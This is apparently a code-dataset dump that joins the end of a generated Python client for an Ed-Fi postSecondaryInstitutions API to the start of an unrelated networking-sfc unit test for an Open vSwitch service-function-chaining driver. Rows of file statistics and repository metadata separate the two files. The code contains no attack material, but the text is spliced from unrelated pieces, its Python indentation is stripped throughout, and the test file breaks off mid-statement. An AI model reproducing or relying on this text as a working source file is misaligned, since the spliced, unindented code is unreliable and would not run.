If the method is called asynchronously,
returns the request thread.
"""
all_params = ['post_secondary_institution'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method post_post_secondary_institution" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'post_secondary_institution' is set
if self.api_client.client_side_validation and ('post_secondary_institution' not in params or
params['post_secondary_institution'] is None): # noqa: E501
raise ValueError("Missing the required parameter `post_secondary_institution` when calling `post_post_secondary_institution`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'post_secondary_institution' in params:
body_params = params['post_secondary_institution']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2_client_credentials'] # noqa: E501
return self.api_client.call_api(
'/ed-fi/postSecondaryInstitutions', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def put_post_secondary_institution(self, id, post_secondary_institution, **kwargs): # noqa: E501
"""Updates a resource based on the resource identifier. # noqa: E501
The PUT operation is used to update a resource by identifier. If the resource identifier (\"id\") is provided in the JSON body, it will be ignored. Additionally, this API resource is not configured for cascading natural key updates. Natural key values for this resource cannot be changed using PUT operation and will not be modified in the database, and so recommendation is to use POST as that supports upsert behavior. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.put_post_secondary_institution(id, post_secondary_institution, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str id: A resource identifier that uniquely identifies the resource. (required)
:param EdFiPostSecondaryInstitution post_secondary_institution: The JSON representation of the \"postSecondaryInstitution\" resource to be created or updated. (required)
:param str if_match: The ETag header value used to prevent the PUT from updating a resource modified by another consumer.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.put_post_secondary_institution_with_http_info(id, post_secondary_institution, **kwargs) # noqa: E501
else:
(data) = self.put_post_secondary_institution_with_http_info(id, post_secondary_institution, **kwargs) # noqa: E501
return data
def put_post_secondary_institution_with_http_info(self, id, post_secondary_institution, **kwargs): # noqa: E501
"""Updates a resource based on the resource identifier. # noqa: E501
The PUT operation is used to update a resource by identifier. If the resource identifier (\"id\") is provided in the JSON body, it will be ignored. Additionally, this API resource is not configured for cascading natural key updates. Natural key values for this resource cannot be changed using PUT operation and will not be modified in the database, and so recommendation is to use POST as that supports upsert behavior. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.put_post_secondary_institution_with_http_info(id, post_secondary_institution, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str id: A resource identifier that uniquely identifies the resource. (required)
:param EdFiPostSecondaryInstitution post_secondary_institution: The JSON representation of the \"postSecondaryInstitution\" resource to be created or updated. (required)
:param str if_match: The ETag header value used to prevent the PUT from updating a resource modified by another consumer.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'post_secondary_institution', 'if_match'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method put_post_secondary_institution" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in params or
params['id'] is None): # noqa: E501
raise ValueError("Missing the required parameter `id` when calling `put_post_secondary_institution`") # noqa: E501
# verify the required parameter 'post_secondary_institution' is set
if self.api_client.client_side_validation and ('post_secondary_institution' not in params or
params['post_secondary_institution'] is None): # noqa: E501
raise ValueError("Missing the required parameter `post_secondary_institution` when calling `put_post_secondary_institution`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
header_params = {}
if 'if_match' in params:
header_params['If-Match'] = params['if_match'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'post_secondary_institution' in params:
body_params = params['post_secondary_institution']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2_client_credentials'] # noqa: E501
return self.api_client.call_api(
'/ed-fi/postSecondaryInstitutions/{id}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 55.1471 | 578 | 0.670625 | 4,748 | 38,989 | 5.292123 | 0.074768 | 0.040116 | 0.068771 | 0.017193 | 0.952521 | 0.941457 | 0.925737 | 0.914872 | 0.907788 | 0.90162 | 0 | 0.014807 | 0.25343 | 38,989 | 706 | 579 | 55.225212 | 0.848427 | 0.433173 | 0 | 0.775132 | 0 | 0.015873 | 0.258685 | 0.119536 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034392 | false | 0 | 0.010582 | 0 | 0.095238 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ce0e3212ff62b466052b6a0e62e515f902e1c846 | 86,191 | py | Python | networking_sfc/tests/unit/services/sfc/agent/extensions/openvswitch/test_sfc_driver.py | mail2nsrajesh/networking-sfc | 065ead63fbda222ffd12e8d7c9db197c39daac98 | [
"Apache-2.0"
] | null | null | null | networking_sfc/tests/unit/services/sfc/agent/extensions/openvswitch/test_sfc_driver.py | mail2nsrajesh/networking-sfc | 065ead63fbda222ffd12e8d7c9db197c39daac98 | [
"Apache-2.0"
] | null | null | null | networking_sfc/tests/unit/services/sfc/agent/extensions/openvswitch/test_sfc_driver.py | mail2nsrajesh/networking-sfc | 065ead63fbda222ffd12e8d7c9db197c39daac98 | [
"Apache-2.0"
] | null | null | null | # Copyright 2015 Huawei.
# Copyright 2016 Red Hat, Inc.
# Copyright 2017 Intel Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import mock
from oslo_config import cfg
from oslo_utils import uuidutils
from neutron.agent.common import ovs_lib
from neutron.agent.common import utils
from neutron.plugins.ml2.drivers.openvswitch.agent import (
ovs_agent_extension_api as ovs_ext_api)
from neutron.plugins.ml2.drivers.openvswitch.agent.openflow.ovs_ofctl import (
ovs_bridge)
from neutron.tests.unit.plugins.ml2.drivers.openvswitch.agent import (
ovs_test_base)
from networking_sfc.services.sfc.agent.extensions.openvswitch import sfc_driver
from networking_sfc.services.sfc.common import ovs_ext_lib
class SfcAgentDriverTestCase(ovs_test_base.OVSOFCtlTestBase):
def _clear_local_entries(self):
self.executed_cmds = []
self.node_flowrules = []
self.added_flows = []
self.deleted_flows = []
self.group_mapping = {}
self.deleted_groups = []
self.port_mapping = {}
def setUp(self):
cfg.CONF.set_override('local_ip', '10.0.0.1', 'OVS')
super(SfcAgentDriverTestCase, self).setUp()
self._clear_local_entries()
self.execute = mock.patch.object(
utils, "execute", self.mock_execute,
spec=utils.execute)
self.execute.start()
self.set_protocols = mock.patch(
'neutron.agent.common.ovs_lib.OVSBridge.set_protocols')
self.set_protocols.start()
self.add_flow = mock.patch(
"neutron.agent.common.ovs_lib.OVSBridge.add_flow",
self.mock_add_flow
)
self.add_flow.start()
self.delete_flows = mock.patch(
"neutron.agent.common.ovs_lib.OVSBridge.delete_flows",
self.mock_delete_flows
)
self.delete_flows.start()
self.int_patch = 1
self.tun_patch = 2
self.default_port_mapping = {
'patch-int': {
'ofport': self.int_patch
},
'patch-tun': {
'ofport': self.tun_patch
}
}
self.get_vif_port_by_id = mock.patch.object(
ovs_lib.OVSBridge, "get_vif_port_by_id",
self.mock_get_vif_port_by_id
)
self.get_vif_port_by_id.start()
self.get_vlan_by_port = mock.patch.object(
sfc_driver.SfcOVSAgentDriver, "_get_vlan_by_port",
self.mock_get_vlan_by_port
)
self.get_vlan_by_port.start()
self.get_port_ofport = mock.patch.object(
ovs_lib.OVSBridge, "get_port_ofport",
self.mock_get_port_ofport
)
self.get_port_ofport.start()
self.set_secure_mode = mock.patch.object(
ovs_lib.OVSBridge, "set_secure_mode",
self.mock_set_secure_mode
)
self.set_secure_mode.start()
self.del_controller = mock.patch.object(
ovs_lib.OVSBridge, "del_controller",
self.mock_del_controller
)
self.del_controller.start()
self.get_bridges = mock.patch.object(
ovs_lib.BaseOVS, "get_bridges",
self.mock_get_bridges
)
self.get_bridges.start()
self.get_vif_ports = mock.patch.object(
ovs_lib.OVSBridge, "get_vif_ports",
self.mock_get_vif_ports
)
self.get_vif_ports.start()
self.get_ports_attributes = mock.patch.object(
ovs_lib.OVSBridge, "get_ports_attributes",
self.mock_get_ports_attributes
)
self.get_ports_attributes.start()
self.delete_port = mock.patch.object(
ovs_lib.OVSBridge, "delete_port",
self.mock_delete_port
)
self.delete_port.start()
self.create = mock.patch.object(
ovs_lib.OVSBridge, "create",
self.mock_create
)
self.create.start()
self.add_port = mock.patch.object(
ovs_lib.OVSBridge, "add_port",
self.mock_add_port
)
self.add_port.start()
self.bridge_exists = mock.patch.object(
ovs_lib.BaseOVS, "bridge_exists",
self.mock_bridge_exists
)
self.bridge_exists.start()
self.port_exists = mock.patch.object(
ovs_lib.BaseOVS, "port_exists",
self.mock_port_exists
)
self.port_exists.start()
self.capabilities = mock.patch.object(
ovs_lib.BaseOVS, "capabilities",
self.mock_capabilities
)
self.capabilities.start()
self.apply_flows = mock.patch.object(
ovs_lib.DeferredOVSBridge, "apply_flows",
self.mock_apply_flows
)
self.apply_flows.start()
self.dump_group_for_id = mock.patch.object(
ovs_ext_lib.SfcOVSBridgeExt, "dump_group_for_id",
self.mock_dump_group_for_id
)
self.dump_group_for_id.start()
self.add_group = mock.patch.object(
ovs_ext_lib.SfcOVSBridgeExt, "add_group",
self.mock_add_group
)
self.add_group.start()
self.mod_group = mock.patch.object(
ovs_ext_lib.SfcOVSBridgeExt, "mod_group",
self.mock_mod_group
)
self.mod_group.start()
self.delete_group = mock.patch.object(
ovs_ext_lib.SfcOVSBridgeExt, "delete_group",
self.mock_delete_group
)
self.delete_group.start()
self.sfc_driver = sfc_driver.SfcOVSAgentDriver()
self.agent_api = ovs_ext_api.OVSAgentExtensionAPI(
ovs_bridge.OVSAgentBridge('br-int'),
ovs_bridge.OVSAgentBridge('br-tun'))
self.sfc_driver.consume_api(self.agent_api)
self.sfc_driver.initialize()
self._clear_local_entries()
def mock_delete_group(self, group_id):
if group_id == 'all':
self.group_mapping = {}
else:
if group_id in self.group_mapping:
del self.group_mapping[group_id]
self.deleted_groups.append(group_id)
def mock_mod_group(self, group_id, **kwargs):
kwargs['group_id'] = group_id
self.group_mapping[group_id] = kwargs
def mock_add_group(self, group_id, **kwargs):
kwargs['group_id'] = group_id
self.group_mapping[group_id] = kwargs
def mock_dump_group_for_id(self, group_id):
if group_id in self.group_mapping:
group_list = []
group = self.group_mapping[group_id]
for group_key, group_value in group.items():
group_list.append('%s=%s' % (group_key, group_value))
return ' '.join(group_list)
else:
return ''
def mock_set_secure_mode(self):
pass
def mock_del_controller(self):
pass
def mock_get_bridges(self):
return ['br-int', 'br-tun']
def mock_get_port_ofport(self, port_name):
for port_id, port_values in self.port_mapping.items():
if port_values['port_name'] == port_name:
return port_values['ofport']
if port_name in self.default_port_mapping:
return self.default_port_mapping[port_name]['ofport']
return ovs_lib.INVALID_OFPORT
def mock_add_port(self, port_name, *interface_attr_tuples):
return self.mock_get_port_ofport(port_name)
def mock_bridge_exists(self, bridge_name):
return True
def mock_port_exists(self, port_name):
return True
def mock_capabilities(self):
return {'datapath_types': [], 'iface_types': []}
def mock_apply_flows(self):
pass
def mock_get_vif_port_by_id(self, port_id):
if port_id in self.port_mapping:
port_values = self.port_mapping[port_id]
return ovs_lib.VifPort(
port_values['port_name'],
port_values['ofport'],
port_id,
port_values['vif_mac'],
self.sfc_driver.br_int
)
def mock_get_vlan_by_port(self, port_id):
return 0
def mock_get_vif_ports(self, ofport_filter):
vif_ports = []
for port_id, port_values in self.port_mapping.items():
vif_ports.append(
ovs_lib.VifPort(
port_values['port_name'],
port_values['ofport'],
port_id,
port_values['vif_mac'],
self.sfc_driver.br_int
)
)
return vif_ports
def mock_get_ports_attributes(
self, table, columns=None, ports=None,
check_error=True, log_errors=True,
if_exists=False
):
port_infos = []
for port_id, port_values in self.port_mapping.items():
port_info = {}
if columns:
if 'name' in columns:
port_info['name'] = port_values['port_name']
if 'ofport' in columns:
port_info['ofport'] = port_values['ofport']
if 'extenal_ids' in columns:
port_info['extenal_ids'] = {
'iface-id': port_id,
'attached-mac': port_values['vif_mac']
}
if 'other_config' in columns:
port_info['other_config'] = {}
if 'tag' in columns:
port_info['tag'] = []
else:
port_info = {
'name': port_values['port_name'],
'ofport': port_values['ofport'],
'extenal_ids': {
'iface-id': port_id,
'attached-mac': port_values['vif_mac']
},
'other_config': {},
'tag': []
}
if ports:
if port_values['port_name'] in ports:
port_infos.append(port_info)
else:
port_infos.append(port_info)
return port_infos
def mock_delete_port(self, port_name):
found_port_id = None
for port_id, port_values in self.port_mapping.items():
if port_values['port_name'] == port_name:
found_port_id = port_id
if found_port_id:
del self.port_mapping[found_port_id]
def mock_create(self, secure_mode=False):
pass
def mock_add_flow(self, *args, **kwargs):
if kwargs not in self.added_flows:
self.added_flows.append(kwargs)
def mock_delete_flows(self, *args, **kwargs):
if kwargs not in self.deleted_flows:
self.deleted_flows.append(kwargs)
def mock_get_flowrules_by_host_portid(self, context, port_id):
return [
flowrule
for flowrule in self.node_flowrules
if (
flowrule['ingress'] == port_id or
flowrule['egress'] == port_id
)
]
def mock_get_all_src_node_flowrules(self, context):
return [
flowrule
for flowrule in self.node_flowrules
if (
flowrule['node_type'] == 'src_node' and
flowrule['egress'] is None
)
]
def mock_execute(self, cmd, *args, **kwargs):
self.executed_cmds.append(' '.join(cmd))
def tearDown(self):
self.execute.stop()
self.set_protocols.stop()
self.add_flow.stop()
self.delete_flows.stop()
self.get_vif_port_by_id.stop()
self.get_vlan_by_port.stop()
self.get_port_ofport.stop()
self.set_secure_mode.stop()
self.del_controller.stop()
self.get_bridges.stop()
self.get_vif_ports.stop()
self.get_ports_attributes.stop()
self.delete_port.stop()
self.create.stop()
self.add_port.stop()
self.bridge_exists.stop()
self.port_exists.stop()
self.capabilities.stop()
self.apply_flows.stop()
self.dump_group_for_id.stop()
self.add_group.stop()
self.mod_group.stop()
self.delete_group.stop()
self._clear_local_entries()
super(SfcAgentDriverTestCase, self).tearDown()
def _prepare_update_flow_rules_sf_node_empty_next_hops(self, pc_corr,
pp_corr):
self.port_mapping = {
'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': {
'port_name': 'src_port',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'2f1d2140-42ce-4979-9542-7ef25796e536': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 254,
'ingress': u'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579',
'next_hops': None,
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536',
'next_group_id': None,
'nsp': 256,
'add_fcs': [],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
def test_update_flow_rules_sf_node_empty_next_hops(self):
self._prepare_update_flow_rules_sf_node_empty_next_hops('mpls', None)
self.assertEqual(
[],
self.executed_cmds
)
self.assertEqual(
[{
'actions': 'strip_vlan, pop_mpls:0x0800,output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65791,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{},
self.group_mapping
)
def test_update_flow_rules_sf_node_empty_next_hops_no_proxy(self):
self._prepare_update_flow_rules_sf_node_empty_next_hops('mpls', 'mpls')
self.assertEqual(
[],
self.executed_cmds
)
self.assertEqual(
[{
'actions': 'strip_vlan, output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65791,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{},
self.group_mapping
)
def test_update_flow_rules_src_node_empty_next_hops(self):
self.port_mapping = {
'2f1d2140-42ce-4979-9542-7ef25796e536': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 254,
'ingress': None,
'next_hops': None,
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'src_node',
'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536',
'next_group_id': None,
'nsp': 256,
'add_fcs': [],
'id': uuidutils.generate_uuid(),
'fwd_path': True
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
self.assertEqual(
[],
self.added_flows
)
self.assertEqual(
{},
self.group_mapping
)
def _prepare_update_flow_rules_src_node_empty_next_hops_a_d(self,
pc_corr,
pp_corr):
self.port_mapping = {
'9bedd01e-c216-4dfd-b48e-fbd5c8212ba4': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 255,
'ingress': None,
'next_hops': None,
'del_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': u'10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': u'IPv4',
'destination_port_range_max': 100,
}],
'group_refcnt': 1,
'node_type': 'src_node',
'egress': u'9bedd01e-c216-4dfd-b48e-fbd5c8212ba4',
'next_group_id': None,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': u'10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': u'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def _test_update_flow_rules_src_empty_next_hops_a_d(self, pc_corr):
self._prepare_update_flow_rules_src_node_empty_next_hops_a_d(
pc_corr, None)
self.assertEqual(
[{
'actions': 'normal',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': u'10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.added_flows
)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': u'10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff',
'strict': True,
}],
self.deleted_flows
)
self.assertEqual(
{},
self.group_mapping
)
def test_update_flow_rules_src_node_empty_next_hops_add_fcs_del_fcs(self):
self._test_update_flow_rules_src_empty_next_hops_a_d('mpls')
def test_update_flow_rules_src_node_empty_next_hops_a_d_no_proxy(self):
self._prepare_update_flow_rules_src_node_empty_next_hops_a_d(
'mpls', 'mpls')
self.assertEqual(
[{
'actions': 'normal',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': u'10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.added_flows
)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': u'10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff',
'strict': True,
}],
self.deleted_flows
)
self.assertEqual(
{},
self.group_mapping
)
def _prepare_update_flow_rules_sf_node_empty_next_hops_a_d(self, pc_corr,
pp_corr):
self.port_mapping = {
'9bedd01e-c216-4dfd-b48e-fbd5c8212ba4': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
},
'2f1d2140-42ce-4979-9542-7ef25796e536': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 255,
'ingress': '2f1d2140-42ce-4979-9542-7ef25796e536',
'next_hops': None,
'del_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': u'10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': u'IPv4',
'destination_port_range_max': 100,
}],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': u'9bedd01e-c216-4dfd-b48e-fbd5c8212ba4',
'next_group_id': None,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': u'10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': u'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def test_update_flow_rules_sf_node_empty_next_hops_add_fcs_del_fcs(self):
self._prepare_update_flow_rules_sf_node_empty_next_hops_a_d(
'mpls', None)
self.assertEqual(
[],
self.executed_cmds
)
self.assertEqual(
[{
'actions': 'normal',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': u'10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}, {
'actions': 'strip_vlan, pop_mpls:0x0800,output:42',
'dl_dst': '00:01:02:03:06:08',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': u'10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff',
'strict': True,
}],
self.deleted_flows
)
self.assertEqual(
{},
self.group_mapping
)
def test_update_flow_rules_sf_node_empty_next_hops_a_d_no_proxy(self):
# this test exercises the last SF_NODE in a chain with encapsulation
self._prepare_update_flow_rules_sf_node_empty_next_hops_a_d(
'mpls', 'mpls')
self.assertEqual(
[{
'actions': 'pop_mpls:0x0800,normal',
'dl_type': 34887,
'in_port': 42,
'mpls_label': 65791,
'priority': 30,
'table': 0
}, {
'actions': 'strip_vlan, output:42',
'dl_dst': '00:01:02:03:06:08',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
[{
'dl_type': 34887,
'in_port': 42,
'mpls_label': 65791,
'priority': 30,
'table': 0,
'strict': True,
}],
self.deleted_flows
)
self.assertEqual(
{},
self.group_mapping
)
def _prepare_update_flow_rules_src_node_next_hops_add_fcs(self,
pc_corr,
pp_corr_nh):
self.port_mapping = {
'8768d2b3-746d-4868-ae0e-e81861c2b4e6': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'29e38fb2-a643-43b1-baa8-a86596461cd5': {
'port_name': 'port2',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 255,
'ingress': None,
'next_hops': [{
'local_endpoint': '10.0.0.2',
'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'weight': 1,
'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7',
'network_type': 'vxlan',
'segment_id': 33,
'gw_mac': '00:01:02:03:06:09',
'cidr': '10.0.0.0/8',
'in_mac_address': '12:34:56:78:cf:23',
'pp_corr': pp_corr_nh
}],
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'src_node',
'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5',
'next_group_id': 1,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': None
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def test_update_flow_rules_src_node_next_hops_add_fcs(self):
self._prepare_update_flow_rules_src_node_next_hops_add_fcs(
'mpls', None)
self.assertEqual(
[{
'actions': (
'push_mpls:0x8847,set_mpls_label:65791,'
'set_mpls_ttl:255,mod_vlan_vid:0,,output:2'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 2048,
'priority': 0,
'table': 5
}, {
'actions': 'group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def test_update_flow_rules_src_node_next_hops_add_fcs_no_proxy(self):
self._prepare_update_flow_rules_src_node_next_hops_add_fcs(
'mpls', 'mpls')
self.assertEqual(
[{
'actions': (
'mod_vlan_vid:0,,output:2'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': 'push_mpls:0x8847,set_mpls_label:65791,'
'set_mpls_ttl:255,group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def _prepare_update_flow_rules_src_node_next_hops_same_host_a(
self, pc_corr, pp_corr_nh):
self.port_mapping = {
'8768d2b3-746d-4868-ae0e-e81861c2b4e6': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'29e38fb2-a643-43b1-baa8-a86596461cd5': {
'port_name': 'port2',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 255,
'ingress': None,
'next_hops': [{
'local_endpoint': '10.0.0.1',
'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'weight': 1,
'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7',
'network_type': 'vxlan',
'segment_id': 33,
'gw_mac': '00:01:02:03:06:09',
'cidr': '10.0.0.0/8',
'in_mac_address': '12:34:56:78:cf:23',
'pp_corr': pp_corr_nh
}],
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'src_node',
'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5',
'next_group_id': 1,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': None
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def test_update_flow_rules_src_node_next_hops_same_host_add_fcs(self):
self._prepare_update_flow_rules_src_node_next_hops_same_host_a(
'mpls', None)
self.assertEqual(
[{
'actions': (
